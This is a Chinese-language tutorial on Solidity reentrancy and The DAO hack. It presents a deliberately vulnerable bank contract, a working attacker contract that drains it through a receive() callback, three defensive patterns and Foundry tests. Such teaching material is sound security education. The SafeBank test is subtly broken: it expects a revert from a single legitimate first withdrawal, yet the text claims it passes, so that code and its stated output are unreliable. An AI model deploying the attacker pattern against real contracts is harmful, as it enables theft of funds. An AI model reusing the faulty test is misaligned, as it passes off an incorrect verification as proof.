Reentrancy: 导致 The DAO 损失 6000 万美元的漏洞
1. 概述
Reentrancy 是 Solidity 最经典的漏洞之一——也是导致 The DAO 丢失约 360 万 ETH (~2016 年时约 6000 万美元)的原因。本文解释 reentrancy 的本质,用真实代码重现攻击场景,然后指出三种最常见的防护方法。读完这篇文章后,你将能够自己编写容易被攻击的合约、利用合约以及已打补丁的合约——并附加 Foundry 测试来证明。
2. 什么是 Reentrancy
Reentrancy 发生在合约 A 对合约 B 进行外部调用时,而 B 在 A 更新其状态之前调用回 A。如果 A 依赖旧的状态来决定逻辑,B 可以利用这个漏洞多次重复执行某个操作(例如提取资金)。
关键点:在 Solidity 中,任何 call、send 或带数据的 ETH 转账都可以触发接收方的 fallback/receive 函数——这正是循环开始的地方。
3. The DAO: 发生了什么
The DAO 是一个去中心化投资基金,允许代币持有者通过 splitDAO 函数提取他们的 ETH。该函数 先发送 ETH,然后才更新 提取者的余额。攻击者编写了一个合约,其 fallback 函数在收到 ETH 时立即回调 splitDAO——由于余额尚未被扣除,攻击者可以在单个交易中多次提取资金。
后果:360 万 ETH 被提取,之后 Ethereum 社区不得不执行一次引发争议的 硬分叉(产生了 Ethereum Classic)来退款。
4. 用代码重现漏洞
4.1. 容易受攻击的合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// 先发送 ETH,再更新状态——漏洞!
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] = 0;
}
}
withdraw() 先调用 msg.sender.call{value: amount}(""),然后才设置 balances[msg.sender] = 0。如果 msg.sender 是一个有 fallback 的合约,它可以在 call 执行期间立即回调 withdraw()——此时 balances[msg.sender] 还未被扣除。
4.2. 攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./VulnerableBank.sol";
contract ReentrancyAttacker {
VulnerableBank public bank;
uint256 public constant ATTACK_AMOUNT = 1 ether;
constructor(address bankAddress) {
bank = VulnerableBank(bankAddress);
}
function attack() external payable {
require(msg.value == ATTACK_AMOUNT, "Need 1 ether");
bank.deposit{value: ATTACK_AMOUNT}();
bank.withdraw();
}
receive() external payable {
if (address(bank).balance >= ATTACK_AMOUNT) {
bank.withdraw(); // 在 balances[this] 变为 0 之前再次调用
}
}
}
执行流程:
attack()向VulnerableBank存入 1 ETH,然后调用withdraw()。withdraw()向ReentrancyAttacker发送 1 ETH,触发receive()。- 在
receive()中,攻击者发现银行仍有 ETH,所以再次调用withdraw()——但balances[attacker]仍然是 1 ether(因为还没执行到更新行)。 - 循环继续直到银行没有钱或没有 gas。
攻击前的银行余额: 10 ether
攻击后的银行余额: 0 ether
攻击者余额: 11 ether
注意: 上述代码仅用于演示。请勿部署到主网或公开测试网——即使只是为了“好玩地测试”。
5. 为什么这段代码容易被攻击
根本原因是违反了 Checks-Effects-Interactions 原则:应该先检查(check),再更新状态(effect),最后才与外部交互(interaction)。而 VulnerableBank 颠倒了 effect 和 interaction 的顺序——先发送 ETH(interaction),再扣除余额(effect)。
此外,call{value: amount}("") 将 所有剩余 gas 转发给接收方(不同于 transfer/send 限制在 2300 gas),所以攻击者有足够的 gas 在 fallback/receive 中执行复杂的逻辑。
6. 防护方法
6.1. Checks-Effects-Interactions
最简单且最便宜的方法:在调用外部代码 之前 更新状态。
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0; // 先进行状态更新
(bool success, ) = msg.sender.call{value: amount}(""); // 再进行外部调用
require(success, "Transfer failed");
}
当攻击者在 receive() 中再次调用 withdraw() 时,balances[msg.sender] 已经是 0,所以 require(amount > 0) 立即 revert——循环被阻止。
6.2. OpenZeppelin 的 ReentrancyGuard
如果逻辑更复杂,且你想要一个明确的保护层,可以使用 nonReentrant 修饰符。
<!-- 如果使用 Hardhat/npm,通过 npm 安装: -->
npm install @openzeppelin/contracts
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SafeBank is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
nonReentrant 使用一个内部的 _status 变量:当函数执行时,它设置状态为“锁定”;如果在此期间有任何对该合约其他 nonReentrant 函数的回调调用,交易将 revert。
注意:
nonReentrant仅保护 同一合约内 具有同一修饰符的函数。它无法防止 跨合约 reentrancy,即如果你调用另一个合约,而该合约回调一个 没有nonReentrant的函数时。
6.3. Pull payment 模式
与其自动发送 ETH,不如让用户通过单独的步骤自己提取,将累积债务的逻辑与资金转移逻辑分开:
contract PullPaymentBank {
mapping(address => uint256) public pendingWithdrawals;
function creditWithdrawal(address user, uint256 amount) internal {
pendingWithdrawals[user] += amount;
}
function withdraw() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "Nothing to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
这种方法分离了风险:即使 withdraw() 被再次调用,债务记录逻辑(creditWithdrawal)已经在其他地方发生,不会受到影响。
7. 编写测试来证明攻击和补丁
对于 Solidity,相当于 JUnit 的测试工具是 Foundry(forge-std)。以下测试证明了 VulnerableBank 被耗尽,而 SafeBank 则不会。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/VulnerableBank.sol";
import "../src/SafeBank.sol";
import "../src/ReentrancyAttacker.sol";
contract ReentrancyTest is Test {
VulnerableBank bank;
SafeBank safeBank;
address victim = address(0x1);
function setUp() public {
bank = new VulnerableBank();
safeBank = new SafeBank();
vm.deal(victim, 10 ether);
vm.prank(victim);
bank.deposit{value: 10 ether}();
}
function test_VulnerableBank_IsDrainedByReentrancy() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(bank));
vm.deal(address(this), 1 ether);
attacker.attack{value: 1 ether}();
assertEq(address(bank).balance, 0);
assertEq(address(attacker).balance, 11 ether);
}
function test_SafeBank_RejectsReentrancy() public {
vm.deal(victim, 10 ether);
vm.prank(victim);
safeBank.deposit{value: 10 ether}();
// 即使攻击者试图进入 SafeBank -> 预期也无法多次提取
vm.expectRevert();
vm.prank(victim);
safeBank.withdraw(); // 第二次调用会 revert,因为余额已为 0
}
}
运行测试:
forge test -vv
预期结果:
[PASS] test_VulnerableBank_IsDrainedByReentrancy()
[PASS] test_SafeBank_RejectsReentrancy()
第一个测试确认 bank 被提取至 0,攻击者获得 11 ETH——正如 The DAO 场景。第二个测试确认在应用了 Checks-Effects-Interactions 的 SafeBank 上,第二次提取会 revert,因为余额已变为 0。
8. 常见错误
- 仅将
call改为transfer/send而不修复状态顺序:transfer限制在 2300 gas 可以阻止简单的 reentrancy,但不是根本解决方案——许多有效的钱包/合约需要超过 2300 gas 来接收 ETH(例如代理合约),导致有效交易失败。 - 遗漏跨函数 reentrancy:两个不同的函数读/写同一个状态变量,如果只修复其中一个函数可能被相互利用。
- 只读 reentrancy:一个
view函数返回未更新的状态,被另一个合约读取并在另一交易进行中误用——即使不直接提取资金也会造成后果。 - 相信
nonReentrant对整个系统来说就够了:如果你有多个合约相互交互,必须审计整个调用流程,而不仅仅是一个单独的合约。
注意: 不要将任何单一模式视为“完全免疫”。始终将 Checks-Effects-Interactions 与
nonReentrant结合用于涉及外部调用和资金的函数。
9. 结论
The DAO 事件是一个昂贵的教训:一个看似无害的指令顺序(先发送资金,再更新账本)导致整个 Ethereum 社区不得不进行硬分叉。Checks-Effects-Interactions 原则、nonReentrant 修饰符和 pull payment 模式是三个基础但强大的工具,足以阻止这类漏洞。当你编写任何包含外部调用和资金转移的函数时,总是问自己:“在调用外部代码之前,我的状态已经更新了吗?”